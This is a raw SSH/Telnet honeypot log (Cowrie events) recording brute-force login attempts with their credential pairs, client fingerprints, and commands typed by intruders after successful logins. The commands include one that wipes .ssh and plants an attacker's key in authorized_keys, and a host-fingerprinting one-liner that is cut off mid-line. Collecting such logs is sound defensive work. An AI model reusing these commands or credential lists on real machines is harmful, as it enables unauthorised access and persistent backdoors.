{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":33738,"dst_ip":"159.203.135.109","dst_port":22,"session":"96428912763c","protocol":"ssh","message":"New connection: 216.155.93.75:33738 (159.203.135.109:22) [session: 96428912763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:09.982285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:09.986602Z","src_ip":"216.155.93.75","session":"96428912763c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:10.145438Z","src_ip":"216.155.93.75","session":"96428912763c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Frappe","message":"login attempt [frappe/Frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:10.811399Z","src_ip":"216.155.93.75","session":"96428912763c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:11.971453Z","src_ip":"216.155.93.75","session":"96428912763c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini88","message":"login attempt [root/woaini88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:13.009225Z","src_ip":"85.198.19.241","session":"ecb0e636fcf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:14.487305Z","src_ip":"85.198.19.241","session":"ecb0e636fcf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39008,"dst_ip":"159.203.135.109","dst_port":22,"session":"f18e0ac891bb","protocol":"ssh","message":"New connection: 77.94.47.83:39008 (159.203.135.109:22) [session: f18e0ac891bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:16.096069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:16.100082Z","src_ip":"77.94.47.83","session":"f18e0ac891bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:16.211779Z","src_ip":"77.94.47.83","session":"f18e0ac891bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27051993","message":"login attempt [root/27051993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:16.546496Z","src_ip":"77.94.47.83","session":"f18e0ac891bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:17.660527Z","src_ip":"77.94.47.83","session":"f18e0ac891bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":54106,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a4a67ec14e","protocol":"ssh","message":"New connection: 182.93.50.90:54106 (10.17.0.5:22) [session: 73a4a67ec14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:25.011598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:25.017298Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:25.238117Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"test123","message":"login attempt [steam/test123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:26.151120Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:26.642455Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:26.645521Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:26.648592Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:26.871615Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:27.348422Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:27.352012Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:27.577343Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:27.580760Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":45138,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f22bbd6430","protocol":"ssh","message":"New connection: 182.93.50.90:45138 (10.17.0.5:22) [session: a2f22bbd6430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:38.796784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:38.800350Z","src_ip":"182.93.50.90","session":"a2f22bbd6430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:39.018895Z","src_ip":"182.93.50.90","session":"a2f22bbd6430","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:39.937294Z","src_ip":"182.93.50.90","session":"a2f22bbd6430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:40.158987Z","src_ip":"182.93.50.90","session":"73a4a67ec14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:40.162652Z","src_ip":"182.93.50.90","session":"a2f22bbd6430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":42602,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddc5a3b0b572","protocol":"ssh","message":"New connection: 103.77.242.62:42602 (159.203.135.109:22) [session: ddc5a3b0b572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:59.275406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:59.278435Z","src_ip":"103.77.242.62","session":"ddc5a3b0b572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:54:59.514264Z","src_ip":"103.77.242.62","session":"ddc5a3b0b572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17051984","message":"login attempt [root/17051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:55:00.226445Z","src_ip":"103.77.242.62","session":"ddc5a3b0b572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:55:01.469426Z","src_ip":"103.77.242.62","session":"ddc5a3b0b572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":38946,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d8988b6608","protocol":"telnet","message":"New connection: 103.249.87.183:38946 (159.203.135.109:23) [session: b2d8988b6608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:55:19.146083Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39060,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba5eebb108f","protocol":"telnet","message":"New connection: 172.81.62.90:39060 (159.203.135.109:23) [session: cba5eebb108f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:55:38.517143Z"}
{"eventid":"cowrie.session.closed","duration":34.66147208213806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:55:53.807433Z","src_ip":"103.249.87.183","session":"b2d8988b6608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54090,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e4e0a98a8d9","protocol":"telnet","message":"New connection: 128.199.8.54:54090 (159.203.135.109:23) [session: 1e4e0a98a8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:55:56.709975Z"}
{"eventid":"cowrie.session.closed","duration":34.54342031478882,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:13.060312Z","src_ip":"172.81.62.90","session":"cba5eebb108f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":38874,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25427c7e616","protocol":"ssh","message":"New connection: 91.92.40.13:38874 (10.17.0.5:22) [session: e25427c7e616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:32.613416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:32.867350Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:32.870624Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:34.650216Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:56:35.569876Z","src_ip":"91.92.40.13","session":"e25427c7e616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo 